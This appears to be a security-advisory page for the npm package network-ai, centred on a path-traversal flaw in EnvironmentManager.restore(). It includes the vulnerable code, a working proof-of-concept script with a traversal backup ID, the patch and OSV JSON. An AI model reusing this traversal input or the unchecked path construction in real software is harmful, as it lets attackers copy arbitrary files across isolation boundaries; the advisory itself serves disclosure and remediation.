Vulnerabilities in pkg:npm/network-ai

PACKAGE
Advisory Summary

GHSA-48x2-6pr9-2jjf is a MODERATE (CVSS 6.1) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Network-AI libraries in the npm ecosystem. The issue involves environmentmanager.restore() backup id path traversal copies arbitrary directories into environment data. Remediation is available by upgrading affected packages to version 5.12.2.

9 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/network-ai

9 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/network-ai. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-48x2-6pr9-2jjf - MODERATE Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
GHSA-6x2m-p4xp-wg22 - MODERATE Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups
GHSA-mxjx-28vx-xjjj - MODERATE Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
GHSA-jvcm-f35g-w78p - MODERATE Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory
GHSA-2fmp-9rvw-hc96 - HIGH Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning
GHSA-qw6v-5fcf-5666 CVE-2026-54051 CRITICAL Network-AI: Improper Neutralization of Special Elements used in an OS Command
GHSA-r78r-rwrf-rjwp CVE-2026-48814 CRITICAL Network-AI: CVE-2026-46701 fix incomplete — empty default secret still authorizes all requests
GHSA-j3vx-cx2r-pvg8 CVE-2026-46701 HIGH Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret
GHSA-fj4g-2p96-q6m3 CVE-2026-42856 HIGH Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls

GHSA-48x2-6pr9-2jjf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-48x2-6pr9-2jjf
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-23: Relative Path Traversal
Affected Product Network-AI
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-48x2-6pr9-2jjf

To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

network-ai fixed: 5.12.2
npm install network-ai@5.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls network-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-48x2-6pr9-2jjf, inspect your project dependencies using npm:

npm ls network-ai

Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.2), your application is affected.

Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1. ### Details `restore()` builds `backupPath` directly from caller-controlled `backupId`: ```ts restore(env: EnvName, backupId: string): RestoreResult { const envDir = this.getDataDir(env); const backupsDir = join(envDir, '.backups'); const backupPath = join(backupsDir, backupId); if (!existsSync(backupPath)) { throw new Error(`Backup '${backupId}' not found for environment '${env}'`); } this.backup(env); const files = this._collectBackupFiles(backupPath); let restored = 0; for (const rel of files) { if (rel === '_manifest.json') continue; const src = join(backupPath, rel); const dst = join(envDir, rel); try { mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true }); copyFileSync(src, dst); restored++; } catch { /* skip */ } } return { backupId, env, filesRestored: restored }; } ``` There is no resolved containment check that ensures `backupPath` remains under `backupsDir`. Default CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`. Affected source evidence: - `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy. - `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`. ### PoC This PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const data = path.join(base, 'data'); const source = path.join(base, 'outside', 'secret-src'); fs.mkdirSync(source, { recursive: true }); fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}'); const mgr = new EnvironmentManager(data, { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); const backupId = path.relative(path.join(data, 'dev', '.backups'), source); const result = mgr.restore('dev', backupId); const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8'); console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result includes `backupId: "../../../outside/secret-src"`, `filesRestored: 1`, and restored content `{"leaked":true}`. ### Impact A caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

GHSA-48x2-6pr9-2jjf Affected Network-AI Versions

1 component(s)
Fixed Versions:
5.12.2
Product / Package Ecosystem Affected Versions Fixed Version
network-ai
npm
< 5.12.2
5.12.2

References

Frequently Asked Questions

What is GHSA-48x2-6pr9-2jjf?
GHSA-48x2-6pr9-2jjf is a security vulnerability in Network-AI involving EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data under CWE-23: Relative Path Traversal.
Which Network-AI versions are affected?
Affected versions include releases prior to 5.12.2 across affected packages: network-ai.
What version fixes GHSA-48x2-6pr9-2jjf?
Upgrading to 5.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is network-ai affected?
Yes, network-ai is affected in releases prior to 5.12.2. Upgrade your dependency to 5.12.2 or later.
What is the CVSS score of GHSA-48x2-6pr9-2jjf?
GHSA-48x2-6pr9-2jjf has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-48x2-6pr9-2jjf?
GHSA-48x2-6pr9-2jjf is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for GHSA-48x2-6pr9-2jjf?
Run the dependency tree command: 'npm ls network-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-48x2-6pr9-2jjf",
  "modified" : "2026-06-19T21:42:38Z",
  "published" : "2026-06-19T21:42:38Z",
  "aliases" : [ ],
  "summary" : "Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data",
  "details" : "### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "network-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Jovancoding/Network-AI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:42:38Z",
    "nvd_published_at" : null
  }
}